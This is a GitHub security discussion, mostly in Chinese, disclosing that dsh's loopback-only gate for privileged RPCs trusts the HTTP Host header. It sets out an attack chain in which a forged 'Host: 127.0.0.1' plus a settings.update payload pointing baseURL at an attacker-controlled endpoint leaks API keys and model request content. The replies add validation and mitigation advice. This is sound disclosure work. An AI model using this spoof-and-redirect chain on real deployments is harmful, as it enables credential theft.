Repository navigation
Replies: 4 comments
|
I ran your chain against 0.1.0-rc.6 to see how much of it holds empirically, and it does. Two measurements worth adding, because together they sharpen the recommendation in a way I haven't seen stated in the other threads. Sending The second result is the uncomfortable one, and I think it is the point your post is actually making: from the fence's perspective a rewriting reverse proxy is indistinguishable from the Host forgery in your attack chain. They are the same request. So the advice circulating in the other discussions — "just put nginx/Caddy in front and rewrite the headers" — does not mitigate what you described; it performs it, and then hands the result to whoever can reach the proxy. Which suggests the boundary is not "don't bypass loopback" but "the fence is standing in for an authentication layer that does not exist yet, so anything that satisfies the fence has to supply that layer itself." A proxy that rewrites those headers and authenticates before forwarding is not bypassing the control, it is substituting for it. A proxy that only rewrites is strictly worse than no proxy, because the CLI refusal at least fails closed. Three things I'd suggest to anyone doing that, since they are easy to get wrong:
None of this argues against your conclusion. It argues that the population most at risk is not the people ignoring your advice, it is the people who followed a reverse-proxy recipe and think they are now fine. One request, if a maintainer is reading: |
|
补充验证(基于当前公开 master / 这篇 Discussion 已经覆盖了核心问题,因此我不另开重复主题。此次代码审查再次确认:
因此,当前问题不只是“远程部署缺少登录页”,而是网络可达的控制面没有调用者身份边界。 建议维护者将这篇 Discussion 与 #853、#2829、#2840、#1054 作为同一安全设计族群进行 triage,并在支持非 loopback 部署前明确:真正的认证、特权 RPC 授权、WebSocket/事件流保护,以及共享主机上的 per-user 隔离。 Additional verification based on the current public This Discussion already covers the core problem, so I am not opening a duplicate. An independent code review confirms:
The issue is therefore not merely a missing login page. A network-reachable control plane lacks a caller-identity boundary. I suggest triaging this Discussion together with #853, #2829, #2840, and #1054 as one security-design family, and making real authentication, privileged-RPC authorization, WebSocket/event-stream protection, and per-user isolation on shared hosts prerequisites for non-loopback deployment. Filed by Jasper (AI agent on behalf of Magnus Hedemark) |
|
赞同。补一个不需要绕过这个限制、也能远程用的思路,给看到这帖、又确实需要远程访问的人参考(利益相关:这是我们做的社区插件 dsh-mobile-bridge,非官方)。 插件跑在 dsh 进程里,主动向外连一个中转,本机仍然只监听 loopback,不需要改 你帖子里那条攻击链的前提是 Web API 在网络上可达。这种做法的思路就是让这个前提不成立。我们对它做过一次公开的安全评审:https://dshapp.github.io/opensource/ |


Uh oh!
There was an error while loading. Please reload this page.
先说结论:现阶段不建议通过修改源码、自定义 composition、
socat/反向代理、容器端口映射等方式绕过官方对--host 0.0.0.0的限制。我对当前实现做了一次针对性的安全测试,发现一旦 Harness Web API 被人为扩大到非 loopback 网络可达,存在下面这条完整的敏感操作链:
因此,在服务被暴露到不可信网络的前提下,影响不只是“能访问 Web 页面”,而可能包括:
llm.discoverModels等能力,绕过后还会扩大 Host-side SSRF / 内网探测 面。需要强调:官方 CLI 当前已经主动拒绝
dsh web --host 0.0.0.0,因此这不是在说默认配置可以直接被远程利用。 这篇 Discussion 的目的恰恰是说明为什么目前不应该通过其他方法绕过这层限制,以及未来真正支持 remote deployment 前还需要补齐哪些安全边界。1. 当前代码明确把配置面定义为 loopback-only
当前
packages/client/connection/src/index.ts中维护了PRIVILEGED_METHODS,包括:代码注释也明确说明:
trustedHosts是 DNS-rebinding fence,而不是 authentication,所以 settings / credentials 等配置面在真正的认证层出现以前应保持 loopback-only。对应检查为:
这里传入空的
trustedHosts,用来表达“只允许 loopback”。2. 但这里的 loopback 判断实际依赖 HTTP
Hostpackages/client/connection/src/api-request-trust.ts中,isTrustedApiRequest()的关键判断大致是:也就是说,这里的“loopback”来自请求自己携带的 HTTP authority,而不是实际 TCP peer 的
socket.remoteAddress。对于浏览器的 DNS rebinding 防御而言,
Hostfence 是有意义的;但普通 HTTP 客户端可以自行指定Host。因此:和
在当前 privileged-method gate 中并没有被区分。
3. 真实 TCP 复现:非 loopback peer 仅修改 Host 即通过检查
测试基于当前提交:
我使用真实 TCP 连接进行 negative control,而不是只手工构造一个假的 Request 对象。
为避免公开测试环境信息,下面只对私网 IP 和临时端口做了脱敏;两个请求的 TCP peer 完全相同,均为非 loopback 地址。
Negative control
符合预期,loopback-only policy 拒绝了请求。
只修改 HTTP Host
服务端观测到的真实
remoteAddress仍然是同一个非 loopback peer。测试结果:
最小复现逻辑如下:
这说明 privileged gate 当前验证的是“请求声称的 HTTP authority 是否为 loopback”,并不能证明调用者本身来自 loopback。
4. 为什么这个 bypass 能进一步导致凭据和模型请求内容外送
settings.update本身就在上述 privileged set 中。该 RPC 的 payload 支持:
{ "ns": "llm-deepseek", "patch": { "baseURL": "http://ATTACKER-CONTROLLED-ENDPOINT" } }对应的 wire request 是普通 JSON POST,例如:
这里真正危险的地方是
llm-deepseek当前采用 request-level dynamic configuration。packages/llm/llm-deepseek/src/index.ts中,下一次 operation 会重新解析当前 Settings:同时 API key 会从当前 credential service / launch environment 解析:
而
packages/llm/llm-deepseek/src/adapter.ts随后直接构造:因此,如果
baseURL被改成攻击者控制的服务,那么下一次正常模型调用就会向新的 endpoint 发送:以及序列化后的模型请求 body。
也就是说,这条影响链不是简单的“修改一个配置值”,而是:
5. 这一动态配置行为也已经被仓库自己的测试明确验证
当前仓库已有测试:
其中 testcase:
正好验证了这个关键行为。
测试流程是:
我在当前提交上单独运行该 testcase,结果通过:
因此以下两个关键事实分别有动态证据:
Host: 127.0.0.1通过当前 loopback-only authority gate;llm-deepseek.baseURL后,下一次 LLM 请求会立即使用新 endpoint,并向它发送当前解析到的 credential。源码中的调用关系将两段直接连接起来。
6. 同一个边界还保护其他本地敏感能力
PRIVILEGED_METHODS不只包含settings.update。例如代码注释明确把
llm.discoverModels放进 loopback-only 集合,是因为它会让 Host 向 caller 指定的 URL 发起请求并返回结果;如果匿名 LAN caller 能访问它,就会获得对 Host 可达网络的探测能力。因此 Host spoof 并不是只影响一个 DeepSeek 配置字段,而是在非 loopback exposure 下削弱了整个本地 privileged RPC 集合的调用者边界。
7. 为什么仍然建议保持官方当前限制
官方 CLI 目前已经明确拒绝:
并提示:
所以我并不建议现在简单开放
0.0.0.0,然后只修这一处 Host 判断。相反,这次测试进一步说明在完整 remote-auth model 落地以前,保持 loopback binding 是正确的安全默认值。
尤其不建议把下面这些方式视作安全的替代方案:
端口转发本身并不会给当前 API 增加调用者认证。
8. 修复建议
从实现上建议把两个概念明确分开:
A. HTTP authority / DNS-rebinding validation
当前
Host/Origin/ Fetch Metadata 检查仍可以继续作为浏览器侧的 DNS rebinding / cross-site fence。B. loopback caller authorization
对于明确标记为 loopback-only 的 privileged RPC,不建议仅依赖:
来推导:
真正的 loopback-only 判断至少应绑定到无法由远程 HTTP caller 自行声明的连接事实;而如果未来需要支持 remote deployment,更完整的方向还是加入真正的身份认证和授权模型,再决定哪些 RPC 可以被远程 caller 使用。
总结
这篇 Discussion 的核心建议仍然是:
原因是当前部分敏感 RPC 的
loopback-only语义实际上依赖 HTTPHost,真实网络测试表明非 loopback peer 可以通过伪造Host: 127.0.0.1满足该检查;而一旦获得settings.update,当前动态 LLM 配置又允许把下一次模型请求切换到攻击者 endpoint,并携带当前 API credential 和模型请求内容。如果后续计划正式支持局域网/远程 Web 使用,我建议在开放网络绑定以前先处理这个边界。
All reactions